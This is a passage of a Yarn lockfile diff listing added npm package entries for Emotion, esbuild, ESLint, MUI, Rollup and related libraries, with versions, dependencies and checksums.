10c0/b28cb7de59de382021de2b26c0c94ebbfb16967a1b969a56fdb6408465a8993df243bfbd66430badaa6800e1834724e84895f5a6a9d97d0d224de3d77852acb4 + languageName: node + linkType: hard + +"@emotion/sheet@npm:^1.4.0": + version: 1.4.0 + resolution: "@emotion/sheet@npm:1.4.0" + checksum: 10c0/3ca72d1650a07d2fbb7e382761b130b4a887dcd04e6574b2d51ce578791240150d7072a9bcb4161933abbcd1e38b243a6fb4464a7fe991d700c17aa66bb5acc7 + languageName: node + linkType: hard + +"@emotion/styled@npm:11.14.1": + version: 11.14.1 + resolution: "@emotion/styled@npm:11.14.1" + dependencies: + "@babel/runtime": "npm:^7.18.3" + "@emotion/babel-plugin": "npm:^11.13.5" + "@emotion/is-prop-valid": "npm:^1.3.0" + "@emotion/serialize": "npm:^1.3.3" + "@emotion/use-insertion-effect-with-fallbacks": "npm:^1.2.0" + "@emotion/utils": "npm:^1.4.2" + peerDependencies: + "@emotion/react": ^11.0.0-rc.0 + react: ">=16.8.0" + peerDependenciesMeta: + "@types/react": + optional: true + checksum: 10c0/2bbf8451df49c967e41fbcf8111a7f6dafe6757f0cc113f2f6e287206c45ac1d54dc8a95a483b7c0cee8614b8a8d08155bded6453d6721de1f8cc8d5b9216963 + languageName: node + linkType: hard + +"@emotion/unitless@npm:^0.10.0": + version: 0.10.0 + resolution: "@emotion/unitless@npm:0.10.0" + checksum: 10c0/150943192727b7650eb9a6851a98034ddb58a8b6958b37546080f794696141c3760966ac695ab9af97efe10178690987aee4791f9f0ad1ff76783cdca83c1d49 + languageName: node + linkType: hard + +"@emotion/use-insertion-effect-with-fallbacks@npm:^1.2.0": + version: 1.2.0 + resolution: "@emotion/use-insertion-effect-with-fallbacks@npm:1.2.0" + peerDependencies: + react: ">=16.8.0" + checksum: 10c0/074dbc92b96bdc09209871070076e3b0351b6b47efefa849a7d9c37ab142130767609ca1831da0055988974e3b895c1de7606e4c421fecaa27c3e56a2afd3b08 + languageName: node + linkType: hard + +"@emotion/utils@npm:^1.4.2": + version: 1.4.2 + resolution: "@emotion/utils@npm:1.4.2" + checksum: 10c0/7d0010bf60a2a8c1a033b6431469de4c80e47aeb8fd856a17c1d1f76bbc3a03161a34aeaa78803566e29681ca551e7bf9994b68e9c5f5c796159923e44f78d9a + languageName: node + linkType: hard + +"@emotion/weak-memoize@npm:^0.4.0": + version: 0.4.0 + resolution: "@emotion/weak-memoize@npm:0.4.0" + checksum: 10c0/64376af11f1266042d03b3305c30b7502e6084868e33327e944b539091a472f089db307af69240f7188f8bc6b319276fd7b141a36613f1160d73d12a60f6ca1a + languageName: node + linkType: hard + +"@esbuild/aix-ppc64@npm:0.27.3": + version: 0.27.3 + resolution: "@esbuild/aix-ppc64@npm:0.27.3" + conditions: os=aix & cpu=ppc64 + languageName: node + linkType: hard + +"@esbuild/android-arm64@npm:0.27.3": + version: 0.27.3 + resolution: "@esbuild/android-arm64@npm:0.27.3" + conditions: os=android & cpu=arm64 + languageName: node + linkType: hard + +"@esbuild/android-arm@npm:0.27.3": + version: 0.27.3 + resolution: "@esbuild/android-arm@npm:0.27.3" + conditions: os=android & cpu=arm + languageName: node + linkType: hard + +"@esbuild/android-x64@npm:0.27.3": + version: 0.27.3 + resolution: "@esbuild/android-x64@npm:0.27.3" + conditions: os=android & cpu=x64 + languageName: node + linkType: hard + +"@esbuild/darwin-arm64@npm:0.27.3": + version: 0.27.3 + resolution: "@esbuild/darwin-arm64@npm:0.27.3" + conditions: os=darwin & cpu=arm64 + languageName: node + linkType: hard + +"@esbuild/darwin-x64@npm:0.27.3": + version: 0.27.3 + resolution: "@esbuild/darwin-x64@npm:0.27.3" + conditions: os=darwin & cpu=x64 + languageName: node + linkType: hard + +"@esbuild/freebsd-arm64@npm:0.27.3": + version: 0.27.3 + resolution: "@esbuild/freebsd-arm64@npm:0.27.3" + conditions: os=freebsd & cpu=arm64 + languageName: node + linkType: hard + +"@esbuild/freebsd-x64@npm:0.27.3": + version: 0.27.3 + resolution: "@esbuild/freebsd-x64@npm:0.27.3" + conditions: os=freebsd & cpu=x64 + languageName: node + linkType: hard + +"@esbuild/linux-arm64@npm:0.27.3": + version: 0.27.3 + resolution: "@esbuild/linux-arm64@npm:0.27.3" + conditions: os=linux & cpu=arm64 + languageName: node + linkType: hard + +"@esbuild/linux-arm@npm:0.27.3": + version: 0.27.3 + resolution: "@esbuild/linux-arm@npm:0.27.3" + conditions: os=linux & cpu=arm + languageName: node + linkType: hard + +"@esbuild/linux-ia32@npm:0.27.3": + version: 0.27.3 + resolution: "@esbuild/linux-ia32@npm:0.27.3" + conditions: os=linux & cpu=ia32 + languageName: node + linkType: hard + +"@esbuild/linux-loong64@npm:0.27.3": + version: 0.27.3 + resolution: "@esbuild/linux-loong64@npm:0.27.3" + conditions: os=linux & cpu=loong64 + languageName: node + linkType: hard + +"@esbuild/linux-mips64el@npm:0.27.3": + version: 0.27.3 + resolution: "@esbuild/linux-mips64el@npm:0.27.3" + conditions: os=linux & cpu=mips64el + languageName: node + linkType: hard + +"@esbuild/linux-ppc64@npm:0.27.3": + version: 0.27.3 + resolution: "@esbuild/linux-ppc64@npm:0.27.3" + conditions: os=linux & cpu=ppc64 + languageName: node + linkType: hard + +"@esbuild/linux-riscv64@npm:0.27.3": + version: 0.27.3 + resolution: "@esbuild/linux-riscv64@npm:0.27.3" + conditions: os=linux & cpu=riscv64 + languageName: node + linkType: hard + +"@esbuild/linux-s390x@npm:0.27.3": + version: 0.27.3 + resolution: "@esbuild/linux-s390x@npm:0.27.3" + conditions: os=linux & cpu=s390x + languageName: node + linkType: hard + +"@esbuild/linux-x64@npm:0.27.3": + version: 0.27.3 + resolution: "@esbuild/linux-x64@npm:0.27.3" + conditions: os=linux & cpu=x64 + languageName: node + linkType: hard + +"@esbuild/netbsd-arm64@npm:0.27.3": + version: 0.27.3 + resolution: "@esbuild/netbsd-arm64@npm:0.27.3" + conditions: os=netbsd & cpu=arm64 + languageName: node + linkType: hard + +"@esbuild/netbsd-x64@npm:0.27.3": + version: 0.27.3 + resolution: "@esbuild/netbsd-x64@npm:0.27.3" + conditions: os=netbsd & cpu=x64 + languageName: node + linkType: hard + +"@esbuild/openbsd-arm64@npm:0.27.3": + version: 0.27.3 + resolution: "@esbuild/openbsd-arm64@npm:0.27.3" + conditions: os=openbsd & cpu=arm64 + languageName: node + linkType: hard + +"@esbuild/openbsd-x64@npm:0.27.3": + version: 0.27.3 + resolution: "@esbuild/openbsd-x64@npm:0.27.3" + conditions: os=openbsd & cpu=x64 + languageName: node + linkType: hard + +"@esbuild/openharmony-arm64@npm:0.27.3": + version: 0.27.3 + resolution: "@esbuild/openharmony-arm64@npm:0.27.3" + conditions: os=openharmony & cpu=arm64 + languageName: node + linkType: hard + +"@esbuild/sunos-x64@npm:0.27.3": + version: 0.27.3 + resolution: "@esbuild/sunos-x64@npm:0.27.3" + conditions: os=sunos & cpu=x64 + languageName: node + linkType: hard + +"@esbuild/win32-arm64@npm:0.27.3": + version: 0.27.3 + resolution: "@esbuild/win32-arm64@npm:0.27.3" + conditions: os=win32 & cpu=arm64 + languageName: node + linkType: hard + +"@esbuild/win32-ia32@npm:0.27.3": + version: 0.27.3 + resolution: "@esbuild/win32-ia32@npm:0.27.3" + conditions: os=win32 & cpu=ia32 + languageName: node + linkType: hard + +"@esbuild/win32-x64@npm:0.27.3": + version: 0.27.3 + resolution: "@esbuild/win32-x64@npm:0.27.3" + conditions: os=win32 & cpu=x64 + languageName: node + linkType: hard + +"@eslint-community/eslint-utils@npm:^4.8.0": + version: 4.9.1 + resolution: "@eslint-community/eslint-utils@npm:4.9.1" + dependencies: + eslint-visitor-keys: "npm:^3.4.3" + peerDependencies: + eslint: ^6.0.0 || ^7.0.0 || >=8.0.0 + checksum: 10c0/dc4ab5e3e364ef27e33666b11f4b86e1a6c1d7cbf16f0c6ff87b1619b3562335e9201a3d6ce806221887ff780ec9d828962a290bb910759fd40a674686503f02 + languageName: node + linkType: hard + +"@eslint-community/regexpp@npm:^4.12.2": + version: 4.12.2 + resolution: "@eslint-community/regexpp@npm:4.12.2" + checksum: 10c0/fddcbc66851b308478d04e302a4d771d6917a0b3740dc351513c0da9ca2eab8a1adf99f5e0aa7ab8b13fa0df005c81adeee7e63a92f3effd7d367a163b721c2d + languageName: node + linkType: hard + +"@eslint/compat@npm:2.0.2": + version: 2.0.2 + resolution: "@eslint/compat@npm:2.0.2" + dependencies: + "@eslint/core": "npm:^1.1.0" + peerDependencies: + eslint: ^8.40 || 9 || 10 + peerDependenciesMeta: + eslint: + optional: true + checksum: 10c0/176df611bcb54ff7d9c3ac440df6844e552a4ed5de30eba28edbeebb68ccc7f19111fdd4c10780101ee5f871bd03ec0457f38c67834c285751c2bdb37d8ae73c + languageName: node + linkType: hard + +"@eslint/config-array@npm:^0.23.0": + version: 0.23.2 + resolution: "@eslint/config-array@npm:0.23.2" + dependencies: + "@eslint/object-schema": "npm:^3.0.2" + debug: "npm:^4.3.1" + minimatch: "npm:^10.2.1" + checksum: 10c0/95d7506c3fcb13c9a477f0fd501d552a4f136425fdf41a57058565d4730d888c78a467f8cefee92c7ac911b2c9da72629cb90507bc943cb2e5ae7bcdcdd2b759 + languageName: node + linkType: hard + +"@eslint/config-helpers@npm:^0.5.2": + version: 0.5.2 + resolution: "@eslint/config-helpers@npm:0.5.2" + dependencies: + "@eslint/core": "npm:^1.1.0" + checksum: 10c0/0dc65bc5dd80441afbf5007cae702a5d9dd08893e95fed702a463366cf9ce2f4fd90adb09f9012cb4fcc9783d897ccb739067b1b8a5942f4c8288a6efb396d58 + languageName: node + linkType: hard + +"@eslint/core@npm:^1.1.0": + version: 1.1.0 + resolution: "@eslint/core@npm:1.1.0" + dependencies: + "@types/json-schema": "npm:^7.0.15" + checksum: 10c0/0f875d6f24fbf67cc796e01c2ca82884f755488052ed84183e56377c5b90fe10b491a26e600642db4daea1d5d8ab7906ec12f2bd5cbdb5004b0ef73c802bdb57 + languageName: node + linkType: hard + +"@eslint/eslintrc@npm:3.3.3": + version: 3.3.3 + resolution: "@eslint/eslintrc@npm:3.3.3" + dependencies: + ajv: "npm:^6.12.4" + debug: "npm:^4.3.2" + espree: "npm:^10.0.1" + globals: "npm:^14.0.0" + ignore: "npm:^5.2.0" + import-fresh: "npm:^3.2.1" + js-yaml: "npm:^4.1.1" + minimatch: "npm:^3.1.2" + strip-json-comments: "npm:^3.1.1" + checksum: 10c0/532c7acc7ddd042724c28b1f020bd7bf148fcd4653bb44c8314168b5f772508c842ce4ee070299cac51c5c5757d2124bdcfcef5551c8c58ff9986e3e17f2260d + languageName: node + linkType: hard + +"@eslint/js@npm:10.0.1": + version: 10.0.1 + resolution: "@eslint/js@npm:10.0.1" + peerDependencies: + eslint: ^10.0.0 + peerDependenciesMeta: + eslint: + optional: true + checksum: 10c0/9f3fcaf71ba7fdf65d82e8faad6ecfe97e11801cc3c362b306a88ea1ed1344ae0d35330dddb0e8ad18f010f6687a70b75491b9e01c8af57acd7987cee6b3ec6c + languageName: node + linkType: hard + +"@eslint/object-schema@npm:^3.0.2": + version: 3.0.2 + resolution: "@eslint/object-schema@npm:3.0.2" + checksum: 10c0/5f8b2e264bbde6f7c86f6846a2f04cb6e3f52df49e3cce0659cea31d7f7410bb5ac681f6f910294f8362e427054665d2c5b5c794580cab6b0d5a1c177e131ec1 + languageName: node + linkType: hard + +"@eslint/plugin-kit@npm:^0.6.0": + version: 0.6.0 + resolution: "@eslint/plugin-kit@npm:0.6.0" + dependencies: + "@eslint/core": "npm:^1.1.0" + levn: "npm:^0.4.1" + checksum: 10c0/1d726338a9f4537fe2848796c44d801093ea3a99166dbc45bc6f7742fa2ad74ce0c2f114092ce4460710a9dfe5ea6e3500446f81842388bf81328c97c3a43d9d + languageName: node + linkType: hard + +"@fontsource/public-sans@npm:5.2.7": + version: 5.2.7 + resolution: "@fontsource/public-sans@npm:5.2.7" + checksum: 10c0/7089c2edd3965b659e9450a3ec3a603a075b62c7b6488199c40beb4e8d277c0b43fab5d39962c3768d22b8f485ef57d833500a7e2dc6ff717616638b0fde37c3 + languageName: node + linkType: hard + +"@humanfs/core@npm:^0.19.1": + version: 0.19.1 + resolution: "@humanfs/core@npm:0.19.1" + checksum: 10c0/aa4e0152171c07879b458d0e8a704b8c3a89a8c0541726c6b65b81e84fd8b7564b5d6c633feadc6598307d34564bd53294b533491424e8e313d7ab6c7bc5dc67 + languageName: node + linkType: hard + +"@humanfs/node@npm:^0.16.6": + version: 0.16.7 + resolution: "@humanfs/node@npm:0.16.7" + dependencies: + "@humanfs/core": "npm:^0.19.1" + "@humanwhocodes/retry": "npm:^0.4.0" + checksum: 10c0/9f83d3cf2cfa37383e01e3cdaead11cd426208e04c44adcdd291aa983aaf72d7d3598844d2fe9ce54896bb1bf8bd4b56883376611c8905a19c44684642823f30 + languageName: node + linkType: hard + +"@humanwhocodes/module-importer@npm:^1.0.1": + version: 1.0.1 + resolution: "@humanwhocodes/module-importer@npm:1.0.1" + checksum: 10c0/909b69c3b86d482c26b3359db16e46a32e0fb30bd306a3c176b8313b9e7313dba0f37f519de6aa8b0a1921349e505f259d19475e123182416a506d7f87e7f529 + languageName: node + linkType: hard + +"@humanwhocodes/retry@npm:^0.4.0, @humanwhocodes/retry@npm:^0.4.2": + version: 0.4.3 + resolution: "@humanwhocodes/retry@npm:0.4.3" + checksum: 10c0/3775bb30087d4440b3f7406d5a057777d90e4b9f435af488a4923ef249e93615fb78565a85f173a186a076c7706a81d0d57d563a2624e4de2c5c9c66c486ce42 + languageName: node + linkType: hard + +"@isaacs/fs-minipass@npm:^4.0.0": + version: 4.0.1 + resolution: "@isaacs/fs-minipass@npm:4.0.1" + dependencies: + minipass: "npm:^7.0.4" + checksum: 10c0/c25b6dc1598790d5b55c0947a9b7d111cfa92594db5296c3b907e2f533c033666f692a3939eadac17b1c7c40d362d0b0635dc874cbfe3e70db7c2b07cc97a5d2 + languageName: node + linkType: hard + +"@jridgewell/gen-mapping@npm:^0.3.12, @jridgewell/gen-mapping@npm:^0.3.2, @jridgewell/gen-mapping@npm:^0.3.5": + version: 0.3.13 + resolution: "@jridgewell/gen-mapping@npm:0.3.13" + dependencies: + "@jridgewell/sourcemap-codec": "npm:^1.5.0" + "@jridgewell/trace-mapping": "npm:^0.3.24" + checksum: 10c0/9a7d65fb13bd9aec1fbab74cda08496839b7e2ceb31f5ab922b323e94d7c481ce0fc4fd7e12e2610915ed8af51178bdc61e168e92a8c8b8303b030b03489b13b + languageName: node + linkType: hard + +"@jridgewell/remapping@npm:^2.3.5": + version: 2.3.5 + resolution: "@jridgewell/remapping@npm:2.3.5" + dependencies: + "@jridgewell/gen-mapping": "npm:^0.3.5" + "@jridgewell/trace-mapping": "npm:^0.3.24" + checksum: 10c0/3de494219ffeb2c5c38711d0d7bb128097edf91893090a2dbc8ee0b55d092bb7347b1fd0f478486c5eab010e855c73927b1666f2107516d472d24a73017d1194 + languageName: node + linkType: hard + +"@jridgewell/resolve-uri@npm:^3.1.0": + version: 3.1.2 + resolution: "@jridgewell/resolve-uri@npm:3.1.2" + checksum: 10c0/d502e6fb516b35032331406d4e962c21fe77cdf1cbdb49c6142bcbd9e30507094b18972778a6e27cbad756209cfe34b1a27729e6fa08a2eb92b33943f680cf1e + languageName: node + linkType: hard + +"@jridgewell/sourcemap-codec@npm:^1.4.14, @jridgewell/sourcemap-codec@npm:^1.5.0": + version: 1.5.5 + resolution: "@jridgewell/sourcemap-codec@npm:1.5.5" + checksum: 10c0/f9e538f302b63c0ebc06eecb1dd9918dd4289ed36147a0ddce35d6ea4d7ebbda243cda7b2213b6a5e1d8087a298d5cf630fb2bd39329cdecb82017023f6081a0 + languageName: node + linkType: hard + +"@jridgewell/trace-mapping@npm:^0.3.24, @jridgewell/trace-mapping@npm:^0.3.28": + version: 0.3.31 + resolution: "@jridgewell/trace-mapping@npm:0.3.31" + dependencies: + "@jridgewell/resolve-uri": "npm:^3.1.0" + "@jridgewell/sourcemap-codec": "npm:^1.4.14" + checksum: 10c0/4b30ec8cd56c5fd9a661f088230af01e0c1a3888d11ffb6b47639700f71225be21d1f7e168048d6d4f9449207b978a235c07c8f15c07705685d16dc06280e9d9 + languageName: node + linkType: hard + +"@mui/core-downloads-tracker@npm:^9.0.0": + version: 9.0.0 + resolution: "@mui/core-downloads-tracker@npm:9.0.0" + checksum: 10c0/f0d1eae11612eb53720c5f46e26ced309a8781a8fdd235b004fc55bbe858920b4e3916e11a9c8b66df1fa63a3b4451f7e5ce225b3b0f1708da70b91cb4b3e503 + languageName: node + linkType: hard + +"@mui/lab@npm:9.0.0-beta.2": + version: 9.0.0-beta.2 + resolution: "@mui/lab@npm:9.0.0-beta.2" + dependencies: + "@babel/runtime": "npm:^7.29.2" + "@mui/system": "npm:^9.0.0" + "@mui/types": "npm:^9.0.0" + "@mui/utils": "npm:^9.0.0" + clsx: "npm:^2.1.1" + prop-types: "npm:^15.8.1" + peerDependencies: + "@emotion/react": ^11.5.0 + "@emotion/styled": ^11.3.0 + "@mui/material": ^9.0.0 + "@mui/material-pigment-css": ^9.0.0 + "@types/react": ^17.0.0 || ^18.0.0 || ^19.0.0 + react: ^17.0.0 || ^18.0.0 || ^19.0.0 + react-dom: ^17.0.0 || ^18.0.0 || ^19.0.0 + peerDependenciesMeta: + "@emotion/react": + optional: true + "@emotion/styled": + optional: true + "@mui/material-pigment-css": + optional: true + "@types/react": + optional: true + checksum: 10c0/95ce85649a4c8a48325910df36902e5ecdcd3effc3aacca8fdc1fc651ccd6bd79c6b750aed691f84e16721a2ef068650a67ea6ae61a0128fe5cf5ed26fd33cfd + languageName: node + linkType: hard + +"@mui/material@npm:9.0.0": + version: 9.0.0 + resolution: "@mui/material@npm:9.0.0" + dependencies: + "@babel/runtime": "npm:^7.29.2" + "@mui/core-downloads-tracker": "npm:^9.0.0" + "@mui/system": "npm:^9.0.0" + "@mui/types": "npm:^9.0.0" + "@mui/utils": "npm:^9.0.0" + "@popperjs/core": "npm:^2.11.8" + "@types/react-transition-group": "npm:^4.4.12" + clsx: "npm:^2.1.1" + csstype: "npm:^3.2.3" + prop-types: "npm:^15.8.1" + react-is: "npm:^19.2.4" + react-transition-group: "npm:^4.4.5" + peerDependencies: + "@emotion/react": ^11.5.0 + "@emotion/styled": ^11.3.0 + "@mui/material-pigment-css": ^9.0.0 + "@types/react": ^17.0.0 || ^18.0.0 || ^19.0.0 + react: ^17.0.0 || ^18.0.0 || ^19.0.0 + react-dom: ^17.0.0 || ^18.0.0 || ^19.0.0 + peerDependenciesMeta: + "@emotion/react": + optional: true + "@emotion/styled": + optional: true + "@mui/material-pigment-css": + optional: true + "@types/react": + optional: true + checksum: 10c0/82d093ea7379c70e3826ce0138ed15bb49125e3eaeea15331b4c2908e47e3ab37110171007540d674dab30f065de77303ffdaf294dbb7839256867f155339b81 + languageName: node + linkType: hard + +"@mui/private-theming@npm:^9.0.0": + version: 9.0.0 + resolution: "@mui/private-theming@npm:9.0.0" + dependencies: + "@babel/runtime": "npm:^7.29.2" + "@mui/utils": "npm:^9.0.0" + prop-types: "npm:^15.8.1" + peerDependencies: + "@types/react": ^17.0.0 || ^18.0.0 || ^19.0.0 + react: ^17.0.0 || ^18.0.0 || ^19.0.0 + peerDependenciesMeta: + "@types/react": + optional: true + checksum: 10c0/b1800ac73fb17321af6ed8f212aa93b01c2f45ff509142408f123a884b8f42a2712a477251d7a04f86e4017dcc76c6e010e7f1c6c981872171e96affc71a2cdb + languageName: node + linkType: hard + +"@mui/styled-engine@npm:^9.0.0": + version: 9.0.0 + resolution: "@mui/styled-engine@npm:9.0.0" + dependencies: + "@babel/runtime": "npm:^7.29.2" + "@emotion/cache": "npm:^11.14.0" + "@emotion/serialize": "npm:^1.3.3" + "@emotion/sheet": "npm:^1.4.0" + csstype: "npm:^3.2.3" + prop-types: "npm:^15.8.1" + peerDependencies: + "@emotion/react": ^11.4.1 + "@emotion/styled": ^11.3.0 + react: ^17.0.0 || ^18.0.0 || ^19.0.0 + peerDependenciesMeta: + "@emotion/react": + optional: true + "@emotion/styled": + optional: true + checksum: 10c0/84d81f358324cd1398dedb2ff8ac325ce3b1c9c050e9bc57aba112870c43c8140d7b1b4f2fe5d6add99514f33e505a127b46f048f080b46fc9d44a730c6c11fa + languageName: node + linkType: hard + +"@mui/system@npm:9.0.0, @mui/system@npm:^9.0.0": + version: 9.0.0 + resolution: "@mui/system@npm:9.0.0" + dependencies: + "@babel/runtime": "npm:^7.29.2" + "@mui/private-theming": "npm:^9.0.0" + "@mui/styled-engine": "npm:^9.0.0" + "@mui/types": "npm:^9.0.0" + "@mui/utils": "npm:^9.0.0" + clsx: "npm:^2.1.1" + csstype: "npm:^3.2.3" + prop-types: "npm:^15.8.1" + peerDependencies: + "@emotion/react": ^11.5.0 + "@emotion/styled": ^11.3.0 + "@types/react": ^17.0.0 || ^18.0.0 || ^19.0.0 + react: ^17.0.0 || ^18.0.0 || ^19.0.0 + peerDependenciesMeta: + "@emotion/react": + optional: true + "@emotion/styled": + optional: true + "@types/react": + optional: true + checksum: 10c0/3837ac541e72f3ea5c09f0ba5b2b963c99f539ac9c584d3618c65ff453df5ef298e1ca621530c8ef7b2484e2673c8bd4d0fe82cf3bd78bf254b530d990514328 + languageName: node + linkType: hard + +"@mui/types@npm:^7.4.11": + version: 7.4.11 + resolution: "@mui/types@npm:7.4.11" + dependencies: + "@babel/runtime": "npm:^7.28.6" + peerDependencies: + "@types/react": ^17.0.0 || ^18.0.0 || ^19.0.0 + peerDependenciesMeta: + "@types/react": + optional: true + checksum: 10c0/c7e73d3fbcd3d8fa55ef172faa58d5b8aa64d1faf26b2f4a13871444dd0e57577567c9eefc4a14de0bc0644f7c325302942496a41b165007defed24548e7da04 + languageName: node + linkType: hard + +"@mui/types@npm:^9.0.0": + version: 9.0.0 + resolution: "@mui/types@npm:9.0.0" + dependencies: + "@babel/runtime": "npm:^7.29.2" + peerDependencies: + "@types/react": ^17.0.0 || ^18.0.0 || ^19.0.0 + peerDependenciesMeta: + "@types/react": + optional: true + checksum: 10c0/6c44a3bd3ebe8e6a3d964c72a9653d0a0221340e054e641a89344a4f7e209519e30ed4893c0c29e84f9d2f43c2e68e3c378d1719839f7ce10edfc13b768b8129 + languageName: node + linkType: hard + +"@mui/utils@npm:^7.3.5": + version: 7.3.8 + resolution: "@mui/utils@npm:7.3.8" + dependencies: + "@babel/runtime": "npm:^7.28.6" + "@mui/types": "npm:^7.4.11" + "@types/prop-types": "npm:^15.7.15" + clsx: "npm:^2.1.1" + prop-types: "npm:^15.8.1" + react-is: "npm:^19.2.3" + peerDependencies: + "@types/react": ^17.0.0 || ^18.0.0 || ^19.0.0 + react: ^17.0.0 || ^18.0.0 || ^19.0.0 + peerDependenciesMeta: + "@types/react": + optional: true + checksum: 10c0/369e53295f8cd75d7ea3ef8d1c532cae6a34b7e7d834b2333933f52db04bf2aa3b8a808bdb864ed69b6cc56b1395337e93952e0cd06da872dfd867f1bb53dd34 + languageName: node + linkType: hard + +"@mui/utils@npm:^9.0.0": + version: 9.0.0 + resolution: "@mui/utils@npm:9.0.0" + dependencies: + "@babel/runtime": "npm:^7.29.2" + "@mui/types": "npm:^9.0.0" + "@types/prop-types": "npm:^15.7.15" + clsx: "npm:^2.1.1" + prop-types: "npm:^15.8.1" + react-is: "npm:^19.2.4" + peerDependencies: + "@types/react": ^17.0.0 || ^18.0.0 || ^19.0.0 + react: ^17.0.0 || ^18.0.0 || ^19.0.0 + peerDependenciesMeta: + "@types/react": + optional: true + checksum: 10c0/139ccbdc418dce45070def89f3644b9a42b4eef9a98e74338f83e0f74b715f484a047163708746bf18713da88aa0d8a9e4d0c3df51c93337e492dcebc953fde5 + languageName: node + linkType: hard + +"@mui/x-charts-vendor@npm:8.26.0": + version: 8.26.0 + resolution: "@mui/x-charts-vendor@npm:8.26.0" + dependencies: + "@babel/runtime": "npm:^7.28.4" + "@types/d3-array": "npm:^3.2.2" + "@types/d3-color": "npm:^3.1.3" + "@types/d3-format": "npm:^3.0.4" + "@types/d3-interpolate": "npm:^3.0.4" + "@types/d3-path": "npm:^3.1.1" + "@types/d3-scale": "npm:^4.0.9" + "@types/d3-shape": "npm:^3.1.7" + "@types/d3-time": "npm:^3.0.4" + "@types/d3-time-format": "npm:^4.0.3" + "@types/d3-timer": "npm:^3.0.2" + d3-array: "npm:^3.2.4" + d3-color: "npm:^3.1.0" + d3-format: "npm:^3.1.0" + d3-interpolate: "npm:^3.0.1" + d3-path: "npm:^3.1.0" + d3-scale: "npm:^4.0.2" + d3-shape: "npm:^3.2.0" + d3-time: "npm:^3.1.0" + d3-time-format: "npm:^4.1.0" + d3-timer: "npm:^3.0.1" + flatqueue: "npm:^3.0.0" + internmap: "npm:^2.0.3" + checksum: 10c0/9fe72a5ff949cc2e3a7d19f30ccb79c21be91d69cb6489eb263180cb01954d373bfb019c4079bca425eba29bac5e15cdc34e9ee877e2af558e65fda0759e12e6 + languageName: node + linkType: hard + +"@mui/x-charts@npm:8.27.0": + version: 8.27.0 + resolution: "@mui/x-charts@npm:8.27.0" + dependencies: + "@babel/runtime": "npm:^7.28.4" + "@mui/utils": "npm:^7.3.5" + "@mui/x-charts-vendor": "npm:8.26.0" + "@mui/x-internal-gestures": "npm:0.4.0" + "@mui/x-internals": "npm:8.26.0" + bezier-easing: "npm:^2.1.0" + clsx: "npm:^2.1.1" + prop-types: "npm:^15.8.1" + reselect: "npm:^5.1.1" + use-sync-external-store: "npm:^1.6.0" + peerDependencies: + "@emotion/react": ^11.9.0 + "@emotion/styled": ^11.8.1 + "@mui/material": ^5.15.14 || ^6.0.0 || ^7.0.0 + "@mui/system": ^5.15.14 || ^6.0.0 || ^7.0.0 + react: ^17.0.0 || ^18.0.0 || ^19.0.0 + react-dom: ^17.0.0 || ^18.0.0 || ^19.0.0 + peerDependenciesMeta: + "@emotion/react": + optional: true + "@emotion/styled": + optional: true + checksum: 10c0/113982a8fb377d7cef74612b4edf96ef07040d25ca468eed54101894d46e5706f4aca066b47a1adcd40dd1f7f69a00e8509d72a55ac4edc8c6a4043a5d6b11d5 + languageName: node + linkType: hard + +"@mui/x-internal-gestures@npm:0.4.0": + version: 0.4.0 + resolution: "@mui/x-internal-gestures@npm:0.4.0" + dependencies: + "@babel/runtime": "npm:^7.28.4" + checksum: 10c0/29b278a8933b65acd9530a259fd95d6d4a721e4a5c9f34dfab818a13a50fb560959d56519c35fb9a4b5f924aaf38c8f44407b8e82b90754af255fcaad75d0118 + languageName: node + linkType: hard + +"@mui/x-internals@npm:8.26.0": + version: 8.26.0 + resolution: "@mui/x-internals@npm:8.26.0" + dependencies: + "@babel/runtime": "npm:^7.28.4" + "@mui/utils": "npm:^7.3.5" + reselect: "npm:^5.1.1" + use-sync-external-store: "npm:^1.6.0" + peerDependencies: + react: ^17.0.0 || ^18.0.0 || ^19.0.0 + checksum: 10c0/819564e1b1c7626f5e237edd81f716a3871df1479f2e2e9fbef45a5963df21c510eca4931f6af726fdcd9dc643a019e44c5d61657865b389ef0a2ab5abb10d6c + languageName: node + linkType: hard + +"@npmcli/agent@npm:^4.0.0": + version: 4.0.0 + resolution: "@npmcli/agent@npm:4.0.0" + dependencies: + agent-base: "npm:^7.1.0" + http-proxy-agent: "npm:^7.0.0" + https-proxy-agent: "npm:^7.0.1" + lru-cache: "npm:^11.2.1" + socks-proxy-agent: "npm:^8.0.3" + checksum: 10c0/f7b5ce0f3dd42c3f8c6546e8433573d8049f67ef11ec22aa4704bc41483122f68bf97752e06302c455ead667af5cb753e6a09bff06632bc465c1cfd4c4b75a53 + languageName: node + linkType: hard + +"@npmcli/fs@npm:^5.0.0": + version: 5.0.0 + resolution: "@npmcli/fs@npm:5.0.0" + dependencies: + semver: "npm:^7.3.5" + checksum: 10c0/26e376d780f60ff16e874a0ac9bc3399186846baae0b6e1352286385ac134d900cc5dafaded77f38d77f86898fc923ae1cee9d7399f0275b1aa24878915d722b + languageName: node + linkType: hard + +"@pkgr/core@npm:^0.2.9": + version: 0.2.9 + resolution: "@pkgr/core@npm:0.2.9" + checksum: 10c0/ac8e4e8138b1a7a4ac6282873aef7389c352f1f8b577b4850778f5182e4a39a5241facbe48361fec817f56d02b51691b383010843fb08b34a8e8ea3614688fd5 + languageName: node + linkType: hard + +"@popperjs/core@npm:^2.11.8": + version: 2.11.8 + resolution: "@popperjs/core@npm:2.11.8" + checksum: 10c0/4681e682abc006d25eb380d0cf3efc7557043f53b6aea7a5057d0d1e7df849a00e281cd8ea79c902a35a414d7919621fc2ba293ecec05f413598e0b23d5a1e63 + languageName: node + linkType: hard + +"@rc-component/util@npm:^1.3.0": + version: 1.9.0 + resolution: "@rc-component/util@npm:1.9.0" + dependencies: + is-mobile: "npm:^5.0.0" + react-is: "npm:^18.2.0" + peerDependencies: + react: ">=18.0.0" + react-dom: ">=18.0.0" + checksum: 10c0/0c004b82cdd45d624e5da315d4e534b739b04af4d5b070281ed13434d5fa09c40b89d06e8c4b97d262682a0f5dadcd2edfa2467498e0476eb6134bcbc391d4bb + languageName: node + linkType: hard + +"@rolldown/pluginutils@npm:1.0.0-rc.3": + version: 1.0.0-rc.3 + resolution: "@rolldown/pluginutils@npm:1.0.0-rc.3" + checksum: 10c0/3928b6282a30f307d1b075d2f217180ae173ea9e00638ce46ab65f089bd5f7a0b2c488ae1ce530f509387793c656a2910337c4cd68fa9d37d7e439365989e699 + languageName: node + linkType: hard + +"@rollup/rollup-android-arm-eabi@npm:4.59.0": + version: 4.59.0 + resolution: "@rollup/rollup-android-arm-eabi@npm:4.59.0" + conditions: os=android & cpu=arm + languageName: node + linkType: hard + 